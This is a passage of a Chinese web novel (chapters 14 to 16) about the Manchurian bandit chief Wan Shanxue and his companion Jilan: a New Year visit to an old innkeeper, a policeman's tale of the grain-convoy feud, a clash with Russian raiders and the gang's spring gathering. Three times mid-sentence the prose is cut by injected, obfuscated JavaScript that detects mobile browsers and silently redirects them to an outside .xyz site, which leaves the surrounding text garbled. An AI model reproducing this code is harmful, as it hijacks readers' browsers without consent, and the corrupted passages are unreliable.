老来少瞪了万山雪一眼,转脸吩咐刚迈进门槛的小栓子,到旁边肉铺买几根大牛骨头来,晚上炖汤。 “知道您老心里疼我。”万山雪随手在袄子里一掏,掏出几吊钱来,放柜台上一放,片片相撞,听着分量就不轻。谁知道老来少突然立起眼睛来,骂道:“把你那臭钱收回去,我嫌埋汰!” 气氛一时僵持下来。 万山雪的脸似乎变得很冷,如同这个严酷的冬天,能给大地冻出裂口一般的冷。但是一转眼,他又笑起来,只是那笑容略有僵硬。 “就是孝敬您的,没别的意思。” 老来少冷哼了一声,依然吧嗒着他的烟,一眼也不去看那钱。 “我知道,你褚莲能个儿了,起来之后,局红管亮(绺子兴旺)了。可是你呀,你在我老头子心里头,还是那个缠着我讲故事的小屁孩儿……” “……您老说这个干什么。”万山雪突然打断了他,济兰看到他的耳后红了一片,但是也可能是因为刚才冻得,现在进了屋,冻透了的部位就会开始发烧——这还是他来到关东之后体验到的,“都是陈芝麻烂谷子的事儿了。” “陈芝麻烂谷子……”老来少重重地“哼”了一声,“人岁数一大,就老回忆过去。我一想起来你过去啥样,再想想你现在——啊,入冬前儿,你又劫了人家的粮队,是吧?” 如果不是万山雪岿然不动,济兰几乎以为他会立刻夺门而出。他的表情是这样说的。 那双极具男性魅力的嘴唇抿了起来。 “您老要赶我走?” 老头子听了这话,突然吹胡子瞪眼了! “我赶你走?我他妈赶你走,我炖什么牛骨头汤?兴你干坏事儿,不兴人家说?滚去炕上坐着吧,傻子似的,杵在这儿,耽误我做生意!” 14. 第十四章 老褚 老来少说是这样说,事实上他并没有什么生意可以做。 车店是三教九流、鱼龙混杂之地。生意人,能把黑的说成白的,死的说成活的,不管是啥样人,到了车店来,就格外打腰,做人上人了。但是老来少不是那样的掌柜,他死倔、嘴硬,像是茅坑里的臭石头。冬天是胡子猫冬的时候,但是他店里倒很冷清,没见还有别的胡子。 晚饭是热腾腾香喷喷的酸菜炖牛骨头汤,锅边贴的一圈大饼子,有一面又焦又脆,入口就是苞米香。 济兰坐在炕头,默默吃饭。老来少用他那双昏花地老眼瞄着他,给人一种精光四射的错觉,他指了指默不作声的济兰,问道:“这又是哪家的小孩儿啊?” 万山雪吃饭就粗鲁多了,喝汤的时候秃噜作响,叼着碗边回道:“您老就别问了。” “哪儿来的还不能问了?” “不是好道儿上来的,行了吧?”万山雪放下筷子,脸上露出满足的表情,开始给自己的碗里盛酸菜骨头汤。 老来少眨嘛着眼,又问:“粮儿呢?都好啊?” “她好得很。就是最近事儿多,忙,没下来看您,她让我替她给您老拜个年。” 老头子咕哝了一句不知道什么,谁也没听清,但是济兰按照口型猜了一下,大约是“咋不来呢”。而万山雪还在大快朵颐。 “你少吃点吧啊。牛骨头是给人小孩儿炖的,孩儿,你多吃啊。”老来少似乎仍旧执拗地认为,济兰入绺不久,还有一丝浪子回头的希望,因此对他很亲切,“一会儿把牛骨头啃了,里头还有骨髓呢!” 济兰点头道了谢,吃饭还是斯斯文文的。 老来少看着他,不知道从他身上看到了谁,又或者是谁也没有看见,只有往事的空茫:“你这都几年不来了?当初你爹总带着你来吃饭,你就那么大点儿,还没我腰高……” 万山雪皱起眉头,就好像他的胃口一下子变差了:“老钱大叔。” 老来少长叹一口气,最终无奈地笑道:“吃啊,多吃点。你看这小孩儿瘦得……” 小栓子早早吃饱去睡了,剩下三个人,围在炕桌边上喝高粱酒。 “老钱大叔,您老这几天,听没听说……”油灯映着万山雪的脸,他说到一半,脸色越见阴沉,“……三荒子的事儿?” 老来少喝了酒,老脸也红通通的,嗓门也大了:“我就说你!无事不登三宝殿啊!今年来跟我拜年,就是为了问这个吧?” 万山雪只是喝酒,不说话。 老来少继续道:“哼……那小子能有什么事儿?还那样儿……你一走,他就消停多了……毕竟兔子不吃窝边草。说到这个,他都知道兔子不吃窝边草,你小子怎么回事儿?啊?人家老百姓辛辛苦苦种出来的粮食,就等着卖钱过年,你怎么……” 万山雪还是不说话,只是呼吸急促了一些,鼓起的胸膛也起伏不定。 “当初你要起局……是没办法的办法……不瞒你说,我心里挺欣慰的,这孩子顶硬,不让人欺负……可是……” 人一上了岁数,不光爱回忆过去,眼窝子也会变浅,容易流泪,尤其是喝了酒之后。 万山雪不为所动,乃至于显出极为生硬的冷酷来:“那是他们欠我的。我说了,不许他们走这条路。走一次,我劫一次。” “好……好……”老来少气得直哆嗦,“我管不了你啦……你翅膀硬了……是大人物了!” 饭桌上又一次安静下来。 汤碗里的汤底上结了厚厚的一层牛油,像是来的路上凝实的雪。 万山雪张了张口,似乎要说什么,但是与此同时,门外忽然响起了叫门声。 今儿是大年初一,来这么大车店的,自然只有那些没着没落,也没有家的人。老来少从炕上坐直了,扬声问:“谁啊?” 门口传来一个低沉的男声:“老钱大叔,是我,凤鸣。” 万山雪静静坐着,济兰的手已经放在了腰间。 老来少给了他一个“稍安勿躁”的眼神,又对外头说:“啊,来了!” 老来少下炕去开门,油灯的光辉之中,万山雪和济兰静静坐着,听见门外的年轻人笑道:“老钱大叔过年好啊,太晚了,外头又下雪了,我来你这儿住一晚上再走。” 老来少说:“快进来,快进来。咋的,今年大年初一,还有公干?” 来人已经走了进来,一边往里走,一边拍着帽子上的雪,说:“没办法啊。这几天乡公所来人报案,说柳条边兴隆镇上,全围子的粮食都给胡子劫了,我去了解情况,老百姓都拉着不让走,一直耽搁到现在。我寻思现在赶回乡公所,下着雪还走夜路,不妨来看看您老人家,明儿一早再回去。” 说话间,他已经一路走进了里屋,轻车熟路地将外套挂了起来,余光中看见炕上的万山雪和济兰,略带迟疑地道:“这二位是?” 老来少说:“啊,这是我家小栓子他老舅,带着他小兄弟。” 来人走到亮处,便露出一张清秀的青年脸孔来,乍一看不过二十多岁,也是风华正茂的年纪,却穿着一身警察制服,看见万山雪和济兰,忽然一笑:“这小兄弟长得真是眉清目秀。我来住一宿,不用管我,吃你们的吧。” 万山雪说:“兄弟生面孔,喝一杯?” 油灯下,万山雪的笑容似乎意有所指,又像是随意的搭讪。 叫做凤鸣的青年警察微微诧异了一下,终于还是坐了下来,济兰推过来一只杯子。万山雪无视了青年背后面露惶色的老来少,为那只空杯子斟满了高粱酒。 “官爷这么晚还公干啊。”万山雪说。 “嗳,算什么官爷……就是个跑腿儿的碎催。”祁凤鸣苦笑着摇了摇头,看杯中的高粱酒越倒越多,“欸够了够了!” 老来少说“我给你收拾间屋子出来”,祁凤鸣的唇齿还叼着杯沿儿,不见外地“唔”了一声,又被度数极高的高粱酒辣了个满脸通红,口中哈哧哈哧地喘气。 “这么辣!我看是老金家烧锅店的,他家度数太高。” 万山雪慢慢地啜饮他的那杯,像是一个轻车熟路的老酒鬼,脸也没有红。 “外头下着雪,今年冬天天儿又冷,喝点烈的,应该的。”万山雪用筷子尖儿在酒杯中一点,递到济兰嘴边,济兰瞪了他一眼,他又悠悠地把筷子收回来,自己舔了,笑道,“这么冷的天儿,官爷咋还在外头公干?” “没办法啊……”祁凤鸣长叹一口气,脸儿还是红红的,鼻子尖儿也红红的,显出青年人特有的腼腆秀气来,“现在可不比过去啦。民国都成立了,咱关东胡子还是闹得最凶!乡公所下命令了,要把这个劫粮案竖成典型!怎么着都要抓着这个胡子……带回乡公所砍头。” 济兰忽然动了一下。万山雪却依旧笑眯眯的:“你们干这行儿不容易啊,大过年的,还得走街串巷,找那什么胡子……我听说那胡子长得身高八尺、青面獠牙的!” 祁凤鸣不以为然地摆了摆手:“那都是老百姓瞎传的……这次我去挨家挨户地串访,都说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516196|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围子和那个胡子的梁子,都是老黄历了……” 万山雪顿了顿。这一回是济兰张口提问道:“老黄历?” 他生得雪肤花貌,连第一次见面的老来少都免不得多疼爱些,此时眨巴着眼问这些,祁凤鸣只好咽了口唾沫,又喝了一口高粱酒,说道:“围子里头的老人说,这胡子劫他们的粮食,也是有来由的……”他一抬眼皮,看见济兰仍一眨不眨地看着他,听他说话,再张口的时候不由得有些结结巴巴起来,“早早早前……这围子都是各地来逃荒的人码起来的……当时,有一个叫刘西五的土匪,见人就劫。那时候,围子里头为了卖粮,得组个车队,把粮食卖到镇子上的烧锅店里去……” 万山雪一动不动地坐在那里,仿佛是听着别人的故事。济兰的余光之中,那英挺的侧脸线条在灯火之中明明灭灭。 “运粮有两条道。一条道呢,老林家烧锅店,买价便宜,粮食贱。老百姓累死累活干了一年,赚不了几个钱。另一条道,往东面镇子上的老宋家烧锅,掌柜的心眼儿好,价给得高。” 一个农民,从关内逃荒而来,为的就是关东棒打狍子瓢舀鱼的崭新土地。这一年的农忙之后,他们应当得到辛劳的报酬。 “可是这条路上,总是有刘西五的崽子守着。他们缺粮、缺马,一盯住运粮的车队就不放了。这时候……”祁凤鸣又喝了一口酒,仿佛自己也沉浸到了那老人讲述的悠久往事之中,“这时候,围子里的炮头站了出来,大伙儿都叫他老褚。他枪法好,胆气壮,为了大家伙儿的生计,带着枪,带着儿子,一块儿跟车队走了。” “后来呢?”济兰轻声问。 “后来……老褚跟刘西五同归于尽,这才让粮食送了出去,让围子里的地主和农户都赚上了钱。” “那不是好事儿吗?胡子不是死了吗?老褚大叔是好样儿的!”炕头睡着的小栓子不知道什么时候醒了过来,正托着下巴听祁凤鸣讲述他调查来的老黄历,眼角还挂着一点点眼屎,他就用手去揉,把眼睛揉得红红的。 祁凤鸣笑着摇了摇头。 “还没讲完呢!再后来,刘西五的弟弟,他的炮头,一个叫三荒子的,就领着其他几个绺子来劫围子,就是要他们把老褚的儿子交出来,杀了,以解心头之恨!” “啊?”小栓子的嘴巴张得大大的,“那咋办?” 油灯渐渐昏暗了,万山雪的脸隐没在阴影之中,只露出半截高挺的鼻梁和紧闭的双唇。 “能咋办?”祁凤鸣喝着酒,似乎也有些醉了,“父老乡亲们没有别的办法,又不能真把老褚的儿子杀了……老褚毕竟是为了围子死的啊!于是他们就……就让他走。” “……咋这样呢!”小栓子叫道。 “是啊……这事儿真难啊,可是再难,也得做啊……”祁凤鸣因酒精而渐渐模糊的眼前似乎浮现出那老人讲述时似悔似悲的深情,那双昏花的老眼之中蓄满了泪水,“老褚的媳妇儿自打老褚死了,围子又三天两头被攻打,吓得一病不起……一听说围子要赶他们孤儿寡母走,当天晚上就咽了气儿……” 外头又开始下雪,合着西北风的呼啸声,像是一个女人临死之前的呜咽。 连老来少也不知道什么时候收拾好了房间,回到了堂屋,也不知道在那里站了多久,仿佛听得痴了,在风雪声和讲述声中老泪纵横。 “老褚的儿子没办法啦……数九寒天,无处可去。他带着他从小一块儿长大的团圆媳妇,抱着他娘的尸身,这一走,就走上了山,当了胡子。” 15. 第十五章 雪后 小栓子听得呆了,张着嘴一时没说出话。 祁凤鸣说:“打那以后,老褚儿子就撂下话来,说这条运粮的道,车能走,马能走,就是这个围子的人不能走。” 他身后的老来少幽幽地叹息了一声。 祁凤鸣还是第一次被人这么全神贯注地听着,禁不住有点脸红,干咳了一声。 他说话的时候,万山雪一直没搭茬,也没有提过任何问题。众人都默默无语之际,他却突然开口说话了:“这么说,也都怪这群种地的不识相。既然他有言在先,难道还能说是欺负他们么?” 祁凤鸣皱起眉,连连摇头,一张口,先打了个酒嗝,又说:“这话可不对。抢就是抢,先礼后兵就不是抢啦?”万山雪冷笑一声,不说话,祁凤鸣继续道,“你不知道,今年……啊不对,去年收成不好,米价疯涨啊。前些日子,大赉县城里头,三百多个妇女拿着剪刀抢了广信公司的粮食!兵又不敢开枪,被这群妇女给刺伤好几个。” 万山雪闻言,却好像很好笑似的,勾了勾嘴角。 祁凤鸣瞪了他一眼,又叹起气来:“都说建国了,好日子要来了……我看也没什么分别!蒙古人也来,俄国人也来,又说人手不够,得招编民团……”他忽然住了口,似乎是发觉自己说得太多,苦笑一声住了口。 济兰忽然插口问道:“蒙古人?” 祁凤鸣道:“就那个科尔沁左翼前旗,什么什么……渣什么图郡王,叫乌泰的!跟库伦、俄国人勾结起来,要搞什么东蒙独立!妈的,这群鞑子!” 万山雪喝了口酒,以此掩饰他向济兰投去的一个幸灾乐祸的眼神。 祁凤鸣无知无觉,一拳头砸在桌面上:“哈哈!可他是绣花枕头一包草,咱东三省的兵一过去援防,二十战皆胜!现在他跑索伦山里去了,不知道是不是给熊瞎子吃了!” 万山雪偷眼去看济兰,突然想到,在格格眼里,全天下都该是他们“大清江山”,岂容他人觊觎?但济兰仍旧十分平静,简直令他失望。 “是该庆祝庆祝。”济兰淡淡道,又亲自为祁凤鸣斟酒,祁凤鸣的表情看起来就像被授勋的人是他似的,十足受宠若惊,“那招编民团又是怎么一回事?” 祁凤鸣喝了一口酒,辣得“哈”了一声:“咱关东地界太大,蒙古人又总来骚扰,各军队都往边地去了,地方巡警空虚——要不,最近那个‘万山雪’,能闹出来这么大阵仗?” 万山雪笑道:“那么,招编民团,就是要把这个杀千刀的‘万山雪’给抓住砍头咯?” 祁凤鸣点点头,又说:“不光是那个万山雪,还有咱关东山上那老多绺子,祸害老百姓,都该抓!你们没听说前阵子入秋时候,东边围子的罗保林?……真是特大恶性事件!有人说,还是那个万山雪干的。不然,光凭一个劫粮食,能让上头这么重视……现在地主老财,哪个睡觉的时候心里不犯嘀咕,不害怕的?” “罗保林可算不上什么老百姓。”万山雪轻声道。 “……理儿是这么个理儿。”祁凤鸣说,“听着痛快,可也不能真把胡子当作什么‘绿林好汉’吧?” “这民团长不了。”济兰忽然说,两个人又都看着他。 “咋就长不了?” “现下百废待兴,正是要钱的时候。民团要招,军饷总得有吧?何况,来这儿逃荒的哪个不是拖家带口的,刚到这儿来,还没站稳脚跟,怎么去投军?”济兰说得头头是道,祁凤鸣傻傻地看着他,“到处都是大荒地,都等着人垦呢……你们不垦,日本人、俄国人就都来垦。” “那照你这么说,还非得想个法子才行……”祁凤鸣说。 几个人一时都静了下来,小栓子不知道什么时候又睡着了,民团、垦荒这些话题还离他太远,远没有胡子的悲惨往事吸引人。 万山雪的手指头抚过小栓子带着汗水的潮湿额头,油灯的微光将这孩子的小脸儿映照得纤毫毕现。这是一张未曾被风雪吹拂过的脸庞。 “走了。”万山雪忽然说,招呼身旁的济兰。老来少站了起来,那张总是不讨人喜欢的老脸上倏忽露出一种茫然的神情:“这就走了?” “走了,老钱大叔。粮还等着我呢。”万山雪微微一笑,老来少不安地搓着手,他手上的皮肤就像是两片老树皮,搓起来沙沙作响,“您老好好儿的。” “这就走了?外面不下雪了?”祁凤鸣喝得满脸通红,眼皮都快粘到一块儿去了,听见万山雪说“早就不下了”,也不知道听懂没有,就趴在炕桌上睡着了。 雪果然已经停了。 雪后的月亮又大又亮,万山雪和济兰牵着马,并肩走在夜班时分的土路上,街上一个人也没有。 走在这样明亮的月色之下,仿佛天地之间都只有他们两个人似的。关东的冬夜,寥落而冷清,即便现在是大年初一。他们恰好错过了鞭炮的热闹,脚下踩着鞭炮燃尽后剩下的碎红纸,缓缓地走。 万山雪第一次抛弃他的名字,给自己报号“万山雪”的时候,也是这样的雪夜吗? 雪光之中,万山雪的侧脸此刻变得清晰多了,他侧脸的线条十分力挺,本是很阳刚英俊的样子,可是嘴角却总是微微地挑着,又有那一双孩子似的水水的眼睛,使得他不像是一个完全成熟的男人,就介于青年与男子之间,是一种模糊的概念。 “在叫‘万山雪’以前,你叫什么名字?”济兰问。 “没大没小。这也是你能问的?”万山雪不咸不淡地说。但看起来仍显得很宽容。是月亮使人看起来温柔?关东雪后的冬夜有一种魔力。 “……我叫萨古达济兰,你早就知道。你连我的家谱都看了,还叫我格格。”济兰继续没大没小地说,“我问问你的名儿,就不行?” 沉默。 除了马蹄和人的脚步踩在松软的雪上的嘎吱声,没有其他声音。冬夜里没有蝉鸣,也没蛙叫,更何况这还是一个冷冬。 就在济兰以为万山雪要用沉默糊弄过去他的问题的时候,万山雪忽然开口了。 “褚莲。” 他对这个名字似乎有几分羞耻,说得很轻,说完就扭过脸去,济兰只看到他微红的耳后,耳朵还藏在貂皮帽子里,不知道是什么颜色。 济兰抿住嘴唇,免得自己绷不住笑出来,强行一本正经道:“是……是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516197|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好名字。” 万山雪把头扭回来看他,似笑非笑的:“想笑就笑吧。” 济兰憋不住了,他真的笑了,捧着肚子哈哈大笑,一直把眼泪都笑出来了。寂静的冬夜之中,只有他的笑声回荡在深蓝色的天穹之下,清脆又快活。 他终于笑够了,用戴着针织手套的手去擦眼角溢出来的泪水,只听万山雪平铺直叙地道:“小时候身体不好,爹妈怕养不活,起个女孩儿名儿,免得阎王爷收走。”说罢,他用眼睛乜着济兰,说,“笑我?你的名儿又咋的,不也是花儿草儿的?” 济兰突然不笑了。 “这不是兰花的意思!是满语!原本的意思是慈爱——” 这回轮到万山雪笑了,笑也不是好笑,直笑得济兰美丽的脸上红彤彤的一片。 “你?慈爱?” 如果说萨古达济兰是什么慈爱的菩萨心肠,世界上真是一个心狠的也没有了。 济兰冷冷一哂,说:“这有什么?不过是个期许……” “你懂满语?”万山雪说。 “当然。按旧俗……满蒙汉语,都得会的。” “那要是在满语里,你的名咋读?” 济兰闻言,说了一句叽里咕噜的音节出来,万山雪一个字也听不懂。 他们说着话的工夫,已经不知道走到了哪里。关东的大地上有着一片又一片的聚落,当地人都叫做“围子”;前头那围子和其他的却不一样,是个以烧锅店为中心形成的围子,乍一看去,大约蔓延二三十里——但是这时候,那处的天空却染成了橘红色,把雪地也烧得化了,连着灰黑色的灰烬一同流淌。 二人一同住了脚。 一时间,惨叫声,哭嚎声,一块儿涌进他们的耳朵里,就连二人的马也受到惊吓,不得不屡次安抚才安抚住了。万山雪的脸比被老来少出言讽刺的时候还要沉。火光之中,他们听见了另一种语言,音节奇多,语速奇快,紧接着,一群马队从围子另一侧冲了出来——要是寻常的黑夜之中,自然看不清他们。可是他们身后的火光和今夜的月光照亮了他们的脸庞:都是金发碧眼,特高的鼻梁和额头——俄国人! “他妈的!”万山雪忽然骂了一句,飞身上马,济兰甚至没看清他什么时候将枪抽了出来,还没等济兰阻拦他,只听一声清脆的枪响!几乎是同一时刻,队头那个俄国人一头栽下了马! “万山雪!你疯了!”济兰也忙跨上他的马,但是万山雪的马已经如同离弦的箭一般冲了出去!随着砰砰几声枪响,还有惊慌失措的俄语叫喊声,一溜毛子如同倒栽葱一般顺着万山雪的枪口倒了下去,被他们自己受惊的马匹踩断了脊梁骨。 混乱之中,济兰眼尖地看到打西面又来了一列骑兵——那深蓝色的制服!他勒紧马缰,一路追上杀得红了眼的万山雪,大喊道:“别杀了!快走!” “火还没——” “警察来了!消防队也快了!”济兰大吼一声,“别管了,剩下的交给警察,风紧拉花(事急速逃)!” 万山雪回头一望,只见一列蓝制服的骑兵已开始纷纷举起枪来,这才用鞋跟一踢马腹,叫道:“走!” 16. 第十六章 码人 《爱国白话报》载,一则短讯: 昨夜一点钟,郭家烧锅店起火,于今早尽数扑灭。大火烧死俄国马队数十,郭家烧锅店被烧三十户一百余人,损失数十万元。 “这写得都是什么狗屎。” 祁凤鸣站在一旁,只眼观鼻鼻观心,大气也不敢出一声。段玉卿坐在老板桌后头,两只脚翘在桌上,报纸拿在手里遮住了脸。 “他妈的,俄国人在这儿烧杀抢掠,狂得没褶儿,咋的,是自己倒下死的?”段玉卿冷笑一声,摇头翻到第二页,“敢这么写,又不敢全写。咋就不写写,他们到底咋死的?” 对于昨晚上的事儿,祈凤鸣心里有一个可怕的猜想,但他仍旧闭紧了嘴巴,什么也没说。警察局的局长正是一个俄国人,他说不好副局长是不是在说他的坏话。恰是时候,电话铃叮铃铃地响了起来,段玉卿接起来,立刻变得正襟危坐。 在接连“是,是”地应了一阵子之后,他终于挂上电话,把椅背上的制服外套披上身,说道:“上头来叫了。走,咱也去见见那个库朋斯齐。” 第二页是一则时评: 不日,俄使库朋思齐到达江省,将就外蒙问题展开磋商。此前,哈埠俄报登载谣言称,中国即将先征服呼伦,后征服外蒙喀尔喀各部,倘遇俄国干涉,将与俄国宣战,拆毁中东铁路,引发恐慌。然对于省厅辟谣要求,俄领馆充耳不闻。就此次外蒙问题磋商看法,仍处蒙昧之中。 报纸合上了。 万山雪将报纸递给济兰,济兰迅速地扫了一眼这两版,又把报纸合上了。 “咋样?” “什么咋样?” “这里边儿……好像压根儿没提我啊!” 饭馆里,济兰抿了口茶,不知道是为了万山雪的愚钝还是为了茶叶的低劣而皱了皱眉头,他眼珠一转,看了看四周,才低声说:“你没看到第二版吗?现在俄领事馆要来谈外蒙问题,省厅自然不想引起冲突和交涉……现在,只有俄兵在这里杀人放火,作威作福的份儿,没有咱们反击的份儿。提了你,俄领要不要抗议?抗议了,省厅要不要分出兵力来剿你?万一影响磋商怎么办?提了不如不提,他们又不是傻子。” 此时,两个人正出来吃早餐。在昨夜那一场火并之后,逃远了,天都快亮了,还不如直接来吃饭。 万山雪笑道:“我就说你满身都是心眼子。得了吧,那茶不好喝。”说着,叫小二上壶豆浆。 豆浆倒好了,济兰余光中看着小二走远了,才继续说:“就算这样,咱们也该回去了。昨晚那警官不是也说了?最近要抓劫粮的人……何况他又不是个傻子,俄国人死的地方,离老钱家车店也就十里地,咱们前脚刚走,后脚就出事儿,怎么不能怀疑你?” 万山雪正全神贯注地看着窗外的街景。 “你根本没听我在说什么……”济兰嘀咕了一声,开始专心对付他的豆浆——出乎他的意料,豆浆好喝多了。 万山雪仍怔怔地看着窗外。济兰抬起脸来,上唇上还有一道“白胡子”,也顺着他的目光向外望去—— 一颗人头。瞪着他死不瞑目的眼,瞪视着吃着早餐的二人。 不,不是一颗。是很多颗人头。 一颗,又一颗,脖颈上是污黑的干涸的血,有的留着辫子,有的是板寸,就在板车上,垒成一座小山,像是夏天瓜农板车上的西瓜。 饶是济兰生来冷情,这么一眼,就看得他脸色雪白。 “这是……” 万山雪指了指报纸的头版。 “都是胡子,做了子孙官(执行死刑)。”那辆板车很快驶离了他们窗前,街上隐隐传来惊叫,“乡公所就是干这个的。” 剩下的早饭吃得死一般的寂静。 “结账。”万山雪甩下一吊钱,率先走了出去。 这一路上,他情绪依旧不高。 济兰跟在他后头,很快就拐上了山路。 万山雪十八岁时离开围子的那天也是这样。刮着萧瑟的西北风,抬目望去,万山负雪,身边只有母亲的尸体,和惶惶的郝粮。没有人能做一辈子的胡子。 猫冬本来是胡子们最爱的时节,因为在冬日,他们可以去花钱、享受,过一过人间的恩爱生活。但是这一板车的人头,终究还是让万山雪稍有收敛。 接下来的几天,他们只好就在香炉山上,按照郝粮的吩咐,不是在磨豆腐就是在陪她说话,她脸上的笑容多多了。济兰有时候也疑心,或许郝粮是名义上的粮台,事实上的大掌柜。 农历四月十五,开春码人(集合)。 万山雪心不在焉地坐在码头,抽着他的黄烟叶子。他下山以前,郝粮赌咒发誓说,他带着人一回来,就能吃到她磨的小豆腐。就为了这一口小豆腐,懒洋洋的大柜终于肯下山,亲自码人。 以往这工作还是有人来做的,但是不知道是不是郝粮有心撮合,她总是想要万山雪带一带济兰。万山雪对她的意图看得很清楚,但是谁让那口小豆腐确实合他的心意呢? 于是他戴着他的白礼帽,骑着他的大白马,领着他新崭崭的翻垛“雪里红”下了山。 关东仍在倒春寒,济兰出来的时候被郝粮监督着,穿得鼓鼓囊囊,脖子上还戴着貂皮做的毛领子,黑色的毛皮偎着他雪白的小脸,不像传说中茹毛饮血的胡子,反而很合他过去的身份。他的马落后半步,跟在万山雪身后,落在万山雪和白马的阴影里。 松花江开始化冻,今年是“文开江”,没有一点动静,江上也不见一个行人。 码头坐着一个钓鱼的老翁。 万山雪下了马,缓步走到他旁边,先是看了看他的篓子——人不可貌相,这干干巴巴的瘦老头子,只用一整个上午居然钓了大半篓子鱼。 万山雪两手插兜,俯身去看,一尾雪白的长条的江鱼一甩尾巴,差点从篓子里跳了出来。 他很和气地问:“大爷,这一上午收获不小啊。” 老头儿听了,用鼻子“哼”了一声。 万山雪笑着说:“我用三十块现洋,买你这一篓子鱼,和你的一下午,怎么样?” 老头子的脸终于抬了起来。 他一抬眼,就见着那仿佛无意从腰间露出的手枪枪把,把子上挂着一条红缨子。 他立刻浑身僵硬,似乎动也不能动一下了。 万山雪微微一笑,从怀中掏出三十块大洋,丢在老头儿膝头上,老头儿仍不敢动,他已经自顾自拎起了那个篓子,转头对济兰道:“松花江的白鱼,肉又细,又好吃,回去让你嫂子搁点干枝子(粉条)炖上。” 他说话的工夫,老头子终于动了,一个趔趄,往后退,往后退,退出足够远的距离,搬动两条老腿跑了起来,好像生怕万山雪会追上他似的,但是一块大洋也没落下。 看济兰的表情,他似乎有点要笑,又忍住了。万山雪把篓子栓到马上,好像刚才没有一个老头儿惊恐地逃跑,而眼前这个小马扎是凭空从江里头冒出来的一样,拉过小马扎,一屁股坐下了。身后还有一根无主的鱼竿。 第一个回来的是史田。 他骑着他的枣红大马,一只眼睛被黑色的眼罩牢牢遮住,面容刚硬粗犷。未见其人,先闻其声,他正不知道被什么逗得哈哈大笑。他笑了一会儿,万山雪才明白过来,史田在笑他身旁的篓子、鱼竿和屁股底下的小马扎。“大柜什么时候改行当卖鱼的了?”他下马的时候,万山雪给了他一脚。 第二个回来的是许永寿。 他好像是走着来的,嘴里叼着一根不知道从哪摸来的狗尾巴草。史田看了他就问:“活儿都干完了?我小嫂子都好呢?”许永寿白了他一眼,点点头算是承认了。他在山场子脚下给一个女人拉帮套,冬天的时候,他回去给钱、干活儿,开春回山上,女人真正的丈夫也回来了。这两个男人从未真正见过面,但是都知道彼此的存在。 第三个回来的是邵小飞。 说“回来”也不尽然,因为他本来就住在山下,只有紫朵子(送信)的时候用得到。不过开春码人,他总该出来露个脸,这也是绺子多年的传统。不过他来的时候,表现出来的样子就像完全没看见济兰似的,只一头撞进了万山雪的胸膛里,蹭得自己的头发乱七八糟的。 还有一些稀稀拉拉回来的崽子们。但是对他们,万山雪就没有那么亲切了。就像挂柱入绺要“过堂”一样,开春码人回来的众人,也得受到一番审视。一时间,小小的码头上聚起了不少人,但只有万山雪还安安稳稳地坐在小马扎上,其余的人都站着,一个个的上来等他问话。 有的对答如流,万山雪把下巴一抬,答完的人就自动自觉地站到旁边去,等着一会儿一块儿回去。有的结结巴巴,万山雪的眼睛就会微微眯起来。在他失去耐心之前,解释明白了,他也会一抬下巴,让受盘问的人过去。 那答不上的呢? 现在这个就答不上。 万山雪问:“猫冬去哪儿了?” 那个崽子答:“去……去我舅家……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516198|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 万山雪忽然笑了:“你舅?我记得你全家死绝,哪里来的舅?” 崽子立刻支支吾吾起来。 “我……我上老钱家车店去了……” 史强冷笑一声:“我打那盘(那里)过来,怎么就是没碰上你呢?” 崽子“噗通”一声跪了下来! “大柜!我……我不是成心的……三荒子他逼我……问我……” “——问你小白龙去了哪儿,是吧?”万山雪说。 “我……我……” “你给他传了多久的信儿了?”万山雪笑了,他身旁的篓子里的白鱼一甩尾巴,“啪”一声脆响!仿佛听到了什么信号,那崽子马上爬了起来,转身就跑! “砰!” 史田吹了吹枪口,那崽子的背影晃了一晃,脸朝下前仆了下去。 崽子们走路,四梁八柱骑马。万山雪和济兰骑马走在后头,前头没多远,是频频回头看他们的邵小飞。 济兰忽然把马驱得离万山雪更近了一些。 “大——”他刚张开口。 “大柜——”邵小飞突然叫了一声,打断了二人的谈话,说话的时候,他已经跑了过来,一直跑到万山雪跟前,仍然把济兰当作不存在一般,“三十儿的时候你去救正青哥,咋不带上我呢?” 他走着走着,就走到了两匹马中间,只顾仰着脸看万山雪。 万山雪道:“你山串(醉)了,睡得跟个小猪似的,谁叫你?” 邵小飞不乐意地捶了一下万山雪从马背上垂下来的大腿。 “行了,一会儿上山,见见你郎大哥,他正念叨你呢。要不是他念叨你,今儿都不想让你回来。” “诶!”邵小飞满面笑容,大声应道。 香炉山的炊烟又起了。 万山雪下了马,随手将马缰一丢,丢给一个崽子去拉连子(喂马),交待好计正青先把那崽子关秧子房,尔后他自己把鱼篓子拿下来,准备去交给郝粮。邵小飞仍跟在他身边喋喋不休,直到终于见到了山口等他的郎项明,这才一头扑了上去,解放了万山雪的耳朵。 